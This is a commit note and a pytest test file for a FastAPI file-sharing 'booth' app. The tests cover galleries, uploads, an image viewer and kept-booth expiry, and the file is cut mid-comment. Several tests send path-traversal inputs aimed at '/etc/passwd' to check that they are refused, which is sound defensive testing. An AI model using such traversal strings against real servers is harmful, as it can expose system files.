The operator ruled booth-level blur in and chose reading A for the reveal
("A is fine"). design-dev specced the semantics and owns the controls; this is
the storage half.
COMPOSES, NEVER OVERRIDES. An item is blurred iff the booth is blurred OR it is
in .blurred, so turning booth blur off leaves an agent's per-item choice exactly
as the poster left it. An override would need a per-item "unblurred" exception
list, which is state nobody can see.
Resolved in booth_items, so every surface inherits it for free — Desk strip,
tiles, flag tray, filmstrip, stage all already read Item.blurred and none of
them learns the booth flag exists (INV-1). Images and video only; audio has
nothing to hide from a glance.
A MARKER, deliberately not JSON. `.seen` is JSON because it holds rels that must
round-trip exactly; a boolean has nothing to round-trip, and matching `.forever`
means the two whole-booth flags read the same way. We told design-dev it would
be JSON and it should not be — said so rather than quietly shipping the other
thing.
is_booth_blurred mirrors is_kept's lstat shape WITH THE SAFETY INVERTED, and the
inversion is the point: is_kept fails toward keeping because a failed read must
not authorise a delete; this fails toward HIDING, because a failed read must not
reveal something a poster asked to fog. Both are "the failure does not cause the
loss".
Also records the operator's 2026-09-23 ruling that there is NO 1.0 yet, and adds
.blurbooth to CLAUDE.md's dotfile list. 766 green.
1729 lines
62 KiB
Python
1729 lines
62 KiB
Python
import os
|
||
import pathlib
|
||
import re
|
||
import time
|
||
|
||
import pytest
|
||
from fastapi.testclient import TestClient
|
||
|
||
from booth.app import (
|
||
LINKS_FILE,
|
||
PINS_FILE,
|
||
link_entry_id,
|
||
order_for_display,
|
||
parse_link_entries,
|
||
read_pins,
|
||
remove_link_entry,
|
||
toggle_pin,
|
||
booth_age_seconds,
|
||
EMBED_SCRIPT_TAG,
|
||
KEEP_MARKER,
|
||
build_gallery,
|
||
classify,
|
||
create_app,
|
||
doc_kind,
|
||
generate_pickup_id,
|
||
human_dur,
|
||
is_expired,
|
||
is_kept,
|
||
list_booths,
|
||
render_doc,
|
||
safe_upload_name,
|
||
sweep_once,
|
||
)
|
||
|
||
PICKUP_RE = re.compile(r"^(\d{1,2}-[a-z]+|[a-z]+-\d{1,2})$")
|
||
|
||
|
||
# ---- pure helpers -----------------------------------------------------------
|
||
|
||
|
||
def test_classify():
|
||
assert classify("a.PNG") == "image"
|
||
assert classify("clip.webm") == "video"
|
||
assert classify("v.mp4") == "video"
|
||
assert classify("song.mp3") == "audio"
|
||
assert classify("notes.txt") == "other"
|
||
assert classify("archive.tar.gz") == "other"
|
||
|
||
|
||
def test_human_dur():
|
||
assert human_dur(0) == "expired"
|
||
assert human_dur(-5) == "expired"
|
||
assert human_dur(30) == "<1m"
|
||
assert human_dur(90) == "1m"
|
||
assert human_dur(3600) == "1h"
|
||
assert human_dur(3660) == "1h 1m"
|
||
|
||
|
||
def _touch(path, when=None):
|
||
path.parent.mkdir(parents=True, exist_ok=True)
|
||
path.write_bytes(b"x")
|
||
if when is not None:
|
||
os.utime(path, (when, when))
|
||
|
||
|
||
def test_is_expired_uses_newest_mtime(tmp_path):
|
||
booth = tmp_path / "b"
|
||
_touch(booth / "old.png", when=time.time() - 10_000)
|
||
# freshly touched second file keeps the booth alive despite the old one
|
||
_touch(booth / "new.png")
|
||
assert not is_expired(booth, ttl_seconds=3600)
|
||
|
||
old = tmp_path / "stale"
|
||
t = time.time() - 10_000
|
||
_touch(old / "x.png", when=t)
|
||
os.utime(old, (t, t))
|
||
assert is_expired(old, ttl_seconds=3600)
|
||
|
||
|
||
def test_sweep_only_removes_expired(tmp_path):
|
||
fresh = tmp_path / "fresh"
|
||
_touch(fresh / "a.png")
|
||
old = tmp_path / "old"
|
||
t = time.time() - 10_000
|
||
_touch(old / "a.png", when=t)
|
||
os.utime(old, (t, t))
|
||
dotdir = tmp_path / ".control"
|
||
t2 = time.time() - 10_000
|
||
dotdir.mkdir()
|
||
os.utime(dotdir, (t2, t2))
|
||
|
||
wiped = sweep_once(tmp_path, ttl_seconds=3600)
|
||
|
||
assert wiped == ["old"]
|
||
assert fresh.exists()
|
||
assert not old.exists()
|
||
assert dotdir.exists() # dotfolders are never swept
|
||
|
||
|
||
def test_build_gallery_folds_caption_sidecars(tmp_path):
|
||
booth = tmp_path / "b"
|
||
_touch(booth / "a.png")
|
||
(booth / "a.txt").write_text("variant A: cudaMalloc")
|
||
_touch(booth / "b.png")
|
||
(booth / "b.png.txt").write_text("variant B: cudaMallocAsync")
|
||
_touch(booth / "loose.txt") # no media partner -> shown as its own item
|
||
|
||
items = build_gallery(booth)
|
||
by_name = {it["name"]: it for it in items}
|
||
|
||
assert by_name["a.png"]["caption"] == "variant A: cudaMalloc"
|
||
assert by_name["b.png"]["caption"] == "variant B: cudaMallocAsync"
|
||
assert "a.txt" not in by_name and "b.png.txt" not in by_name
|
||
assert "loose.txt" in by_name # a caption with nothing to caption stays visible
|
||
|
||
|
||
# ---- inline doc rendering ---------------------------------------------------
|
||
#
|
||
# .md / .txt / .log docs render INLINE in the gallery (collapsible), not as a
|
||
# clumsy link to a separate page. build_gallery pre-renders the content so the
|
||
# template stays logicless.
|
||
|
||
|
||
def test_build_gallery_prerenders_markdown_inline(tmp_path):
|
||
booth = tmp_path / "b"
|
||
booth.mkdir()
|
||
(booth / "report.md").write_text("# Title\n\nsome **bold** text\n")
|
||
|
||
it = next(i for i in build_gallery(booth) if i["name"] == "report.md")
|
||
|
||
assert it["doc"] == "markdown"
|
||
assert it["rendered_html"] is True
|
||
assert "<h1>Title</h1>" in it["rendered"]
|
||
assert "<strong>bold</strong>" in it["rendered"]
|
||
|
||
|
||
def test_build_gallery_prerenders_text_as_raw(tmp_path):
|
||
booth = tmp_path / "b"
|
||
booth.mkdir()
|
||
(booth / "notes.txt").write_text("plain <not html> line")
|
||
|
||
it = next(i for i in build_gallery(booth) if i["name"] == "notes.txt")
|
||
|
||
assert it["doc"] == "text"
|
||
assert it["rendered_html"] is False
|
||
# Raw text is NOT pre-escaped here — the template escapes it inside <pre>.
|
||
# Pre-escaping plus template autoescape would double-encode the angle brackets.
|
||
assert it["rendered"] == "plain <not html> line"
|
||
|
||
|
||
def test_build_gallery_oversize_doc_is_not_inlined(tmp_path):
|
||
booth = tmp_path / "b"
|
||
booth.mkdir()
|
||
big = "x" * (2 * 1024 * 1024 + 10) # over DOC_MAX_BYTES
|
||
(booth / "huge.log").write_text(big)
|
||
|
||
it = next(i for i in build_gallery(booth) if i["name"] == "huge.log")
|
||
|
||
assert it["doc"] == "text"
|
||
assert it["rendered"] is None # too big to inline; template falls back to a link
|
||
|
||
|
||
def test_non_doc_item_has_no_rendered_field(tmp_path):
|
||
booth = tmp_path / "b"
|
||
_touch(booth / "shot.png")
|
||
|
||
it = next(i for i in build_gallery(booth) if i["name"] == "shot.png")
|
||
|
||
assert it["doc"] is None
|
||
assert it["rendered"] is None
|
||
|
||
|
||
def test_booth_page_renders_markdown_inline_collapsible(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
(data / "run1" / "brief.md").write_text("# Heading\n\nbody line\n")
|
||
|
||
html = c.get("/b/run1/").text
|
||
|
||
# rendered inline, inside a native <details> disclosure — no navigation
|
||
assert "<details" in html
|
||
assert "<h1>Heading</h1>" in html
|
||
# and the raw-file link is still available for download / full view
|
||
assert "brief.md" in html
|
||
|
||
|
||
def test_booth_page_inlines_txt_without_double_escaping(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
(data / "run1" / "log.txt").write_text("value <x> & <y>")
|
||
|
||
html = c.get("/b/run1/").text
|
||
|
||
# exactly one level of HTML-escaping (template autoescape inside <pre>),
|
||
# not the double-encoding that pre-escaping in Python would produce
|
||
assert "value <x> & <y>" in html
|
||
assert "&lt;" not in html
|
||
|
||
|
||
# ---- HTTP surface -----------------------------------------------------------
|
||
|
||
|
||
@pytest.fixture
|
||
def client(tmp_path):
|
||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||
return TestClient(app), tmp_path
|
||
|
||
|
||
def test_index_empty(client):
|
||
c, _ = client
|
||
r = c.get("/")
|
||
assert r.status_code == 200
|
||
assert "No booths yet" in r.text
|
||
|
||
|
||
def test_index_lists_booth(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
r = c.get("/")
|
||
assert r.status_code == 200
|
||
assert "run1" in r.text
|
||
|
||
|
||
def test_booth_autogallery_renders_media(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "shot.png")
|
||
r = c.get("/b/run1/")
|
||
assert r.status_code == 200
|
||
assert "<img" in r.text
|
||
assert "shot.png" in r.text
|
||
|
||
|
||
def test_booth_serves_own_index_html(client):
|
||
c, data = client
|
||
d = data / "custom"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<h1>MY CUSTOM REPORT</h1>")
|
||
r = c.get("/b/custom/")
|
||
assert r.status_code == 200
|
||
assert "MY CUSTOM REPORT" in r.text
|
||
|
||
|
||
def test_booth_serves_file(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
(data / "run1" / "a.bin").write_bytes(b"\x00\x01payload")
|
||
r = c.get("/b/run1/a.bin")
|
||
assert r.status_code == 200
|
||
assert r.content == b"\x00\x01payload"
|
||
|
||
|
||
def test_booth_zip_download(client):
|
||
# a verbatim index.html booth (no per-file chrome) is still downloadable as a zip
|
||
c, data = client
|
||
d = data / "brief"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<h1>BRIEF</h1>")
|
||
(d / "notes.md").write_text("# notes")
|
||
r = c.get("/b/brief/?download=1")
|
||
assert r.status_code == 200
|
||
assert r.headers["content-type"] == "application/zip"
|
||
assert "attachment" in r.headers["content-disposition"]
|
||
assert "brief.zip" in r.headers["content-disposition"]
|
||
import io as _io
|
||
import zipfile as _zip
|
||
assert set(_zip.ZipFile(_io.BytesIO(r.content)).namelist()) == {"index.html", "notes.md"}
|
||
|
||
|
||
def test_booth_file_force_download(client):
|
||
# ?dl=1 forces attachment so html/md/text saves instead of rendering inline
|
||
c, data = client
|
||
d = data / "brief"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<h1>BRIEF</h1>")
|
||
r = c.get("/b/brief/index.html")
|
||
assert "attachment" not in r.headers.get("content-disposition", "")
|
||
r2 = c.get("/b/brief/index.html?dl=1")
|
||
assert r2.status_code == 200
|
||
assert "attachment" in r2.headers["content-disposition"]
|
||
assert "index.html" in r2.headers["content-disposition"]
|
||
|
||
|
||
def test_missing_booth_404(client):
|
||
c, _ = client
|
||
assert c.get("/b/nope/").status_code == 404
|
||
|
||
|
||
def test_traversal_rejected(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
# a name with a slash or .. can never resolve to a direct child
|
||
assert c.get("/b/..%2f..%2fetc/").status_code == 404
|
||
assert c.get("/b/run1/../../../etc/passwd").status_code == 404
|
||
|
||
|
||
def test_delete_form_wipes(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
r = c.post("/b/run1/delete", follow_redirects=False)
|
||
assert r.status_code == 303
|
||
assert not (data / "run1").exists()
|
||
|
||
|
||
def test_delete_api_wipes(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
r = c.request("DELETE", "/b/run1")
|
||
assert r.status_code == 200
|
||
assert r.json() == {"wiped": "run1"}
|
||
assert not (data / "run1").exists()
|
||
|
||
|
||
def test_healthz(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
r = c.get("/healthz")
|
||
assert r.status_code == 200
|
||
body = r.json()
|
||
assert body["ok"] is True and body["booths"] == 1
|
||
|
||
|
||
# ---- uploads / pickup -------------------------------------------------------
|
||
|
||
|
||
def test_generate_pickup_id_format():
|
||
for _ in range(100):
|
||
pid = generate_pickup_id(lambda n: False)
|
||
assert PICKUP_RE.match(pid), pid
|
||
|
||
|
||
def test_generate_pickup_id_avoids_collision():
|
||
taken = {"4-wombat", "star-84"}
|
||
for _ in range(50):
|
||
pid = generate_pickup_id(lambda n: n in taken)
|
||
assert pid not in taken
|
||
|
||
|
||
def test_safe_upload_name():
|
||
assert safe_upload_name("../../etc/passwd", "fb") == "passwd"
|
||
assert safe_upload_name("C:\\Users\\x\\shot.png", "fb") == "shot.png"
|
||
assert safe_upload_name("", "fb") == "fb"
|
||
assert safe_upload_name(" ", "fb") == "fb"
|
||
assert safe_upload_name(".hidden", "fb") == "hidden"
|
||
assert safe_upload_name("...", "fb") == "fb"
|
||
|
||
|
||
def _upload(client, files):
|
||
return client.post("/upload", files=files, follow_redirects=False)
|
||
|
||
|
||
def test_upload_creates_pickup_booth(client):
|
||
c, data = client
|
||
r = _upload(c, [
|
||
("files", ("a.png", b"\x89PNG\r\n\x1a\n" + b"0" * 20, "image/png")),
|
||
("files", ("notes.txt", b"pick me up", "text/plain")),
|
||
])
|
||
assert r.status_code == 303
|
||
loc = r.headers["location"]
|
||
pid = loc.split("/b/")[1].rstrip("/")
|
||
assert PICKUP_RE.match(pid), pid
|
||
booth = data / pid
|
||
assert (booth / "a.png").is_file()
|
||
assert (booth / "notes.txt").read_bytes() == b"pick me up"
|
||
assert (booth / ".uploaded").is_file() # marker present
|
||
|
||
|
||
def test_upload_booth_renders_pickup_ui(client):
|
||
c, data = client
|
||
r = _upload(c, [("files", ("shot.png", b"\x89PNG" + b"0" * 30, "image/png"))])
|
||
pid = r.headers["location"].split("/b/")[1].rstrip("/")
|
||
page = c.get(f"/b/{pid}/")
|
||
assert page.status_code == 200
|
||
assert "pickup" in page.text.lower() # badge / note
|
||
assert 'download' in page.text # per-item download link
|
||
# and it shows up flagged as an upload on the index
|
||
assert pid in c.get("/").text
|
||
|
||
|
||
def test_upload_sanitizes_traversal(client):
|
||
c, data = client
|
||
r = _upload(c, [("files", ("../../../etc/passwd", b"x", "text/plain"))])
|
||
pid = r.headers["location"].split("/b/")[1].rstrip("/")
|
||
booth = data / pid
|
||
assert (booth / "passwd").is_file() # basename only
|
||
assert not (data.parent / "passwd").exists() # nothing escaped upward
|
||
|
||
|
||
def test_upload_rejects_too_many_files(tmp_path):
|
||
app = create_app(tmp_path, start_sweeper=False, max_files=2)
|
||
c = TestClient(app)
|
||
files = [("files", (f"f{i}.txt", b"x", "text/plain")) for i in range(3)]
|
||
r = c.post("/upload", files=files, follow_redirects=False)
|
||
assert r.status_code == 413
|
||
# no partial booth left behind
|
||
assert list(tmp_path.iterdir()) == []
|
||
|
||
|
||
def test_upload_rejects_too_large(tmp_path):
|
||
app = create_app(tmp_path, start_sweeper=False, max_upload_mb=0.0001) # ~104 bytes
|
||
c = TestClient(app)
|
||
r = c.post(
|
||
"/upload",
|
||
files=[("files", ("big.bin", b"0" * 500, "application/octet-stream"))],
|
||
follow_redirects=False,
|
||
)
|
||
assert r.status_code == 413
|
||
assert list(tmp_path.iterdir()) == [] # partial write cleaned up
|
||
|
||
|
||
def test_upload_dedupes_repeated_names(client):
|
||
c, data = client
|
||
r = _upload(c, [
|
||
("files", ("shot.png", b"a" * 10, "image/png")),
|
||
("files", ("shot.png", b"b" * 10, "image/png")),
|
||
])
|
||
pid = r.headers["location"].split("/b/")[1].rstrip("/")
|
||
names = sorted(p.name for p in (data / pid).iterdir() if not p.name.startswith("."))
|
||
assert names == ["shot-1.png", "shot.png"]
|
||
|
||
|
||
# ---- image viewer -----------------------------------------------------------
|
||
|
||
|
||
def test_image_view_renders(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "shot.png")
|
||
r = c.get("/b/run1/view", params={"f": "shot.png"})
|
||
assert r.status_code == 200
|
||
assert 'id="vstage"' in r.text # the viewer stage
|
||
assert ">Fit<" in r.text and ">1:1<" in r.text
|
||
assert "shot.png" in r.text
|
||
|
||
|
||
def test_gallery_image_links_to_viewer(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "shot.png")
|
||
page = c.get("/b/run1/")
|
||
assert "view?f=shot.png" in page.text # gallery routes images to the viewer, not the raw file
|
||
|
||
|
||
def test_image_view_missing_404(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
assert c.get("/b/run1/view", params={"f": "nope.png"}).status_code == 404
|
||
|
||
|
||
def test_image_view_traversal_404(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
assert c.get("/b/run1/view", params={"f": "../../etc/passwd"}).status_code == 404
|
||
|
||
|
||
def test_view_nonviewable_redirects_to_raw(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "data.bin") # not image/md/txt -> nothing to render, hand back raw
|
||
r = c.get("/b/run1/view", params={"f": "data.bin"}, follow_redirects=False)
|
||
assert r.status_code == 307
|
||
assert r.headers["location"] == "/b/run1/data.bin"
|
||
|
||
|
||
# ---- verbatim-index.html serving -------------------------------------------
|
||
#
|
||
# U3 replaced the injection wrapper with a declared seam. The five `test_wrap_*`
|
||
# tests and `test_verbatim_booth_wrapped_with_back_chip` that stood here tested
|
||
# `wrap_verbatim_html` — six regexes hunting a head-ish seam for a favicon and a
|
||
# body-ish seam for a chip, plus the doctype and charset-window constraints they
|
||
# threaded. None of those constraints can be violated by an append, so there is
|
||
# nothing left of them to assert. What replaced them lives in tests/test_embed.py
|
||
# (the payload, the one appended tag, whole-body equality for a declaring page)
|
||
# and tests/test_embed_browser.py (the mount, in a real DOM).
|
||
#
|
||
# What stays here is what did NOT change: the file route is still raw.
|
||
|
||
|
||
def test_verbatim_booth_is_served_with_the_seam(client):
|
||
c, data = client
|
||
d = data / "brief"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<html><head></head><body><h1>BRIEF</h1></body></html>")
|
||
r = c.get("/b/brief/")
|
||
assert r.status_code == 200
|
||
assert "BRIEF" in r.text # content preserved
|
||
assert r.text.endswith(EMBED_SCRIPT_TAG) # ...and the seam, appended
|
||
|
||
|
||
def test_verbatim_index_raw_file_route_unwrapped(client):
|
||
# the file route (/b/<name>/index.html) still serves the raw bytes — the seam
|
||
# only rides on the booth view (/b/<name>/), so downloads/assets stay verbatim
|
||
c, data = client
|
||
d = data / "brief"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<html><body><h1>BRIEF</h1></body></html>")
|
||
r = c.get("/b/brief/index.html")
|
||
assert r.status_code == 200
|
||
assert "_booth/embed.js" not in r.text
|
||
|
||
|
||
# ---- .md / .txt in-booth doc viewer -----------------------------------------
|
||
|
||
|
||
def test_doc_kind():
|
||
assert doc_kind("notes.md") == "markdown"
|
||
assert doc_kind("a.markdown") == "markdown"
|
||
assert doc_kind("log.txt") == "text"
|
||
assert doc_kind("run.log") == "text"
|
||
assert doc_kind("shot.png") is None
|
||
assert doc_kind("data.bin") is None
|
||
|
||
|
||
def test_render_doc_markdown():
|
||
html, is_html = render_doc("# Title\n\n- a\n- b\n", "markdown")
|
||
assert is_html is True
|
||
assert "<h1>" in html and "Title" in html
|
||
assert "<li>" in html
|
||
|
||
|
||
def test_render_doc_text_is_verbatim():
|
||
body, is_html = render_doc("plain\ntext", "text")
|
||
assert is_html is False and body == "plain\ntext"
|
||
|
||
|
||
def test_view_markdown_renders(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
(d / "notes.md").write_text("# Heading\n\nsome **bold** text\n")
|
||
r = c.get("/b/run1/view", params={"f": "notes.md"})
|
||
assert r.status_code == 200
|
||
assert "<h1>" in r.text and "Heading" in r.text # rendered, not raw markdown
|
||
assert "<strong>bold</strong>" in r.text
|
||
assert "attachment" not in r.headers.get("content-disposition", "") # viewed, not downloaded
|
||
|
||
|
||
def test_view_text_shows_preformatted(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
(d / "out.txt").write_text("line one\nline two")
|
||
r = c.get("/b/run1/view", params={"f": "out.txt"})
|
||
assert r.status_code == 200
|
||
assert "<pre" in r.text and "line one" in r.text
|
||
assert "attachment" not in r.headers.get("content-disposition", "")
|
||
|
||
|
||
def test_gallery_inlines_docs_with_fullpage_and_download_affordances(client):
|
||
# Docs now render INLINE in the gallery (see the inline-doc tests above),
|
||
# not as a link. The full-page viewer stays reachable via the ⤢ affordance,
|
||
# and the raw file via a download link — but the doc content itself is on
|
||
# the page, not behind a click.
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
(d / "readme.md").write_text("# hi")
|
||
(d / "notes.txt").write_text("hello") # loose txt (no media partner) -> own item
|
||
page = c.get("/b/run1/").text
|
||
assert "<h1>hi</h1>" in page # md rendered inline
|
||
assert "hello" in page # txt shown inline
|
||
assert "view?f=readme.md" in page # full-page viewer still linked (⤢)
|
||
assert 'href="readme.md" download' in page # download affordance present
|
||
|
||
|
||
# ---- image viewer prev/next nav ---------------------------------------------
|
||
|
||
|
||
def test_view_image_prev_next_nav(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
for n in ("a.png", "b.png", "c.png"):
|
||
_touch(d / n)
|
||
r = c.get("/b/run1/view", params={"f": "b.png"}) # middle -> prev=a, next=c
|
||
assert r.status_code == 200
|
||
assert 'class="vnav vprev" href="?f=a.png"' in r.text
|
||
assert 'class="vnav vnext" href="?f=c.png"' in r.text
|
||
|
||
|
||
def test_view_image_nav_wraps(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
for n in ("a.png", "b.png", "c.png"):
|
||
_touch(d / n)
|
||
first = c.get("/b/run1/view", params={"f": "a.png"}).text
|
||
assert 'vprev" href="?f=c.png"' in first and 'vnext" href="?f=b.png"' in first # first wraps prev->last
|
||
last = c.get("/b/run1/view", params={"f": "c.png"}).text
|
||
assert 'vnext" href="?f=a.png"' in last and 'vprev" href="?f=b.png"' in last # last wraps next->first
|
||
|
||
|
||
def test_view_single_image_no_nav(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
_touch(d / "only.png")
|
||
r = c.get("/b/run1/view", params={"f": "only.png"})
|
||
assert r.status_code == 200
|
||
# no arrow anchors with a single image (the .vnav CSS rule is always present)
|
||
assert 'class="vnav vprev"' not in r.text and 'class="vnav vnext"' not in r.text
|
||
|
||
|
||
# ---- kept booths: the `.forever` sentinel -----------------------------------
|
||
#
|
||
# The Booth's whole contract is "wiped 24h after last activity". A kept booth is
|
||
# the deliberate exception: an operator-facing board (agent-posted links, a
|
||
# standing report) that must outlive the sweep and stay separated from the
|
||
# ephemeral traffic so it does not get lost in it.
|
||
|
||
|
||
def _stale(path, seconds=10_000):
|
||
"""Age a booth and everything in it well past any test TTL."""
|
||
t = time.time() - seconds
|
||
for p in sorted(path.rglob("*"), reverse=True):
|
||
os.utime(p, (t, t))
|
||
os.utime(path, (t, t))
|
||
|
||
|
||
def test_is_kept_detects_the_sentinel(tmp_path):
|
||
plain = tmp_path / "plain"
|
||
plain.mkdir()
|
||
kept = tmp_path / "kept"
|
||
_touch(kept / KEEP_MARKER)
|
||
|
||
assert not is_kept(plain)
|
||
assert is_kept(kept)
|
||
|
||
|
||
def test_kept_booth_survives_the_sweep(tmp_path):
|
||
"""The point of the whole feature: expiry does not apply to a kept booth."""
|
||
doomed = tmp_path / "doomed"
|
||
_touch(doomed / "a.png")
|
||
_stale(doomed)
|
||
|
||
kept = tmp_path / "links"
|
||
_touch(kept / "a.png")
|
||
_touch(kept / KEEP_MARKER)
|
||
_stale(kept)
|
||
|
||
wiped = sweep_once(tmp_path, ttl_seconds=3600)
|
||
|
||
assert wiped == ["doomed"]
|
||
assert not doomed.exists()
|
||
assert kept.exists(), "a booth carrying the sentinel must never be swept"
|
||
|
||
|
||
def test_kept_booth_is_still_reported_expired_by_age(tmp_path):
|
||
"""is_expired stays a pure age question; only the sweeper honours the pin.
|
||
|
||
Keeping these separate means `expires_in` arithmetic and the reaper policy
|
||
cannot drift into each other.
|
||
"""
|
||
kept = tmp_path / "links"
|
||
_touch(kept / KEEP_MARKER)
|
||
_stale(kept)
|
||
|
||
assert is_expired(kept, ttl_seconds=3600)
|
||
assert sweep_once(tmp_path, ttl_seconds=3600) == []
|
||
|
||
|
||
def test_list_booths_flags_kept(tmp_path):
|
||
_touch(tmp_path / "ephemeral" / "a.png")
|
||
_touch(tmp_path / "links" / "a.png")
|
||
_touch(tmp_path / "links" / KEEP_MARKER)
|
||
|
||
by_name = {b["name"]: b for b in list_booths(tmp_path, ttl_seconds=3600)}
|
||
|
||
assert by_name["ephemeral"]["kept"] is False
|
||
assert by_name["links"]["kept"] is True
|
||
|
||
|
||
# ---- releasing a kept board so it can be deleted ---------------------------
|
||
#
|
||
# The kept lane deliberately has no wipe control: destroying a durable board
|
||
# should not be one misclick. But "deliberate" had been implemented as
|
||
# "impossible from the UI" — the only routes out were ssh or a hand-crafted
|
||
# API call. These endpoints make the documented workflow (drop the sentinel,
|
||
# the board rejoins the sweep, then wipe it like anything else) actually
|
||
# reachable, while keeping it two deliberate steps rather than one.
|
||
|
||
|
||
def test_unkeep_releases_a_kept_board(client):
|
||
c, data = client
|
||
_touch(data / "links" / "a.png")
|
||
_touch(data / "links" / KEEP_MARKER)
|
||
|
||
r = c.post("/b/links/unkeep", follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
assert not is_kept(data / "links"), "the sentinel must be gone"
|
||
assert (data / "links" / "a.png").exists(), "unkeep must not touch content"
|
||
|
||
|
||
def test_unkeep_is_idempotent_on_an_unkept_board(client):
|
||
"""Releasing something already released is a no-op, not a 500."""
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
|
||
r = c.post("/b/run1/unkeep", follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
assert (data / "run1" / "a.png").exists()
|
||
|
||
|
||
def test_keep_pins_a_board_and_round_trips(client):
|
||
"""Reversible: the release step must not be a one-way door."""
|
||
c, data = client
|
||
_touch(data / "board" / "a.png")
|
||
|
||
assert c.post("/b/board/keep", follow_redirects=False).status_code == 303
|
||
assert is_kept(data / "board")
|
||
|
||
assert c.post("/b/board/unkeep", follow_redirects=False).status_code == 303
|
||
assert not is_kept(data / "board")
|
||
|
||
|
||
def test_keep_and_unkeep_go_through_the_same_name_guard(client):
|
||
"""Both mutating routes must use resolve_booth, not raw path joining.
|
||
|
||
A name containing a slash never reaches the handler at all (the router has
|
||
no matching path), so the interesting cases are the ones that DO reach it:
|
||
a dotfile name and a name that simply is not a booth. Both must 404 rather
|
||
than create a stray sentinel somewhere.
|
||
"""
|
||
c, data = client
|
||
for route in ("keep", "unkeep"):
|
||
assert c.post(f"/b/.hidden/{route}").status_code == 404
|
||
assert c.post(f"/b/nope/{route}").status_code == 404
|
||
assert not (data / ".hidden").exists(), "must not have created anything"
|
||
assert list(data.iterdir()) == [], "data dir untouched by rejected calls"
|
||
|
||
|
||
def test_releasing_a_board_RESETS_its_ttl_clock(tmp_path):
|
||
"""Counter-intuitive, and the reason release-then-sweep is not a delete path.
|
||
|
||
Removing the sentinel bumps the booth directory's mtime, and age is the
|
||
newest mtime in the tree — so a board that was 10,000s stale reads as 0s
|
||
old the instant it is released, and survives another full TTL. This test
|
||
pins that behaviour deliberately: anyone who "unkeeps and waits" is waiting
|
||
a fresh 24h, not reaping something already expired. Delete via the wipe
|
||
route instead, which release is what unlocks.
|
||
"""
|
||
kept = tmp_path / "links"
|
||
_touch(kept / "a.png")
|
||
_touch(kept / KEEP_MARKER)
|
||
_stale(kept)
|
||
|
||
assert sweep_once(tmp_path, ttl_seconds=3600) == [], "pinned: exempt"
|
||
assert booth_age_seconds(kept) > 3600
|
||
|
||
(kept / KEEP_MARKER).unlink()
|
||
|
||
# Unlinking the sentinel by hand, which is what this test is about: the
|
||
# directory-entry change is what moves the clock. Releasing through the
|
||
# ROUTE now also records a view, so the behaviour is stated rather than
|
||
# incidental — `test_releasing_a_board_RECORDS_A_VIEW` in test_lifetime.py.
|
||
assert booth_age_seconds(kept) < 60, "unlink bumped the dir mtime"
|
||
assert sweep_once(tmp_path, ttl_seconds=3600) == [], "so it is NOT swept yet"
|
||
assert kept.exists()
|
||
|
||
|
||
def test_released_board_is_sweepable_once_it_ages_again(tmp_path):
|
||
"""It does rejoin the sweep — just on a fresh clock, not the old one."""
|
||
released = tmp_path / "links"
|
||
_touch(released / "a.png")
|
||
|
||
_stale(released)
|
||
|
||
assert sweep_once(tmp_path, ttl_seconds=3600) == ["links"]
|
||
assert not released.exists()
|
||
|
||
|
||
def test_sentinel_is_not_counted_as_an_item(tmp_path):
|
||
"""It is a dotfile, so it must not inflate the item count or become a tile."""
|
||
_touch(tmp_path / "links" / "a.png")
|
||
_touch(tmp_path / "links" / KEEP_MARKER)
|
||
|
||
booth = next(b for b in list_booths(tmp_path, ttl_seconds=3600) if b["name"] == "links")
|
||
|
||
assert booth["count"] == 1
|
||
|
||
|
||
def test_index_marks_kept_on_the_row_instead_of_a_lane(client):
|
||
"""R2 C4 (docs/contracts/r2_flow.contract.md, "Assertions that change").
|
||
This test used to require a kept LANE rendered before the ephemeral grid.
|
||
The Desk removed the lanes — 23 of 24 live booths were kept, so they sorted
|
||
nothing — and orders by what needs the operator instead (tested in
|
||
tests/test_flow.py). What survives is the fact: a kept booth still says it
|
||
is kept, on its own row."""
|
||
c, data = client
|
||
_touch(data / "scratch" / "a.png")
|
||
_touch(data / "links" / "a.png")
|
||
_touch(data / "links" / KEEP_MARKER)
|
||
|
||
html = c.get("/").text
|
||
|
||
assert 'data-booth="links" data-kept="1"' in html
|
||
assert 'data-booth="scratch" data-kept="0"' in html
|
||
assert 'class="grid kept-grid"' not in html, "no lane: kept is a fact, not a grouping"
|
||
|
||
|
||
def test_kept_booth_shows_kept_instead_of_a_countdown(client):
|
||
c, data = client
|
||
_touch(data / "links" / "a.png")
|
||
_touch(data / "links" / KEEP_MARKER)
|
||
|
||
html = c.get("/").text
|
||
|
||
assert "expires in" not in html, "a kept booth has no expiry to advertise"
|
||
|
||
|
||
def test_index_without_kept_booths_omits_the_lane(client):
|
||
c, data = client
|
||
_touch(data / "scratch" / "a.png")
|
||
|
||
html = c.get("/").text
|
||
|
||
# The full attribute form, because the bare class names also appear in the
